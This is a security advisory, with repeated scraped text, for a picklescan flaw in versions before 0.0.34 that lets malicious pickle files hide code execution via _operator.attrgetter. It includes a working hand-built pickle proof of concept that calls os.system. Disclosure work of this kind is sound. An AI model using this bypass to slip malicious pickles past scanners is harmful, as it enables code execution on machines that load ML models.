CVE-2025-71367

picklescan before 0.0.34 fails to detect _operator.attrgetter function calls in pickle payloads, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using _operator.attrgetter in reduce methods to execute arbitrary code when pickle.load() processes the file.

picklescan before 0.0.34 fails to detect _operator.attrgetter function calls in pickle payloads, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using _operator.attrgetter in reduce methods to execute arbitrary code when pickle.load() processes the file.

Summary

Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

• First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.
• Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.

PoC

import pickle
import pickletools
opcode3 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
attrgetter
(Vsystem
tR(g0
tR(Vecho "pwned by _operator.attrgetter"
tR.'''
pickletools.dis(opcode3)
pickle.loads(opcode3)

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen ([email protected]) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).

picklescan before 0.0.34 fails to detect _operator.attrgetter function calls in pickle payloads, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using _operator.attrgetter in reduce methods to execute arbitrary code when pickle.load() processes the file.

picklescan before 0.0.34 fails to detect _operator.attrgetter function calls in pickle payloads, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using _operator.attrgetter in reduce methods to execute arbitrary code when pickle.load() processes the file.

picklescan before 0.0.34 fails to detect _operator.attrgetter function calls in pickle payloads, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using _operator.attrgetter in reduce methods to execute arbitrary code when pickle.load() processes the file.

Summary

Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

• First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.
• Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.

PoC

import pickle
import pickletools
opcode3 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
attrgetter
(Vsystem
tR(g0
tR(Vecho "pwned by _operator.attrgetter"
tR.'''
pickletools.dis(opcode3)
pickle.loads(opcode3)

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen ([email protected]) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu ([email protected]).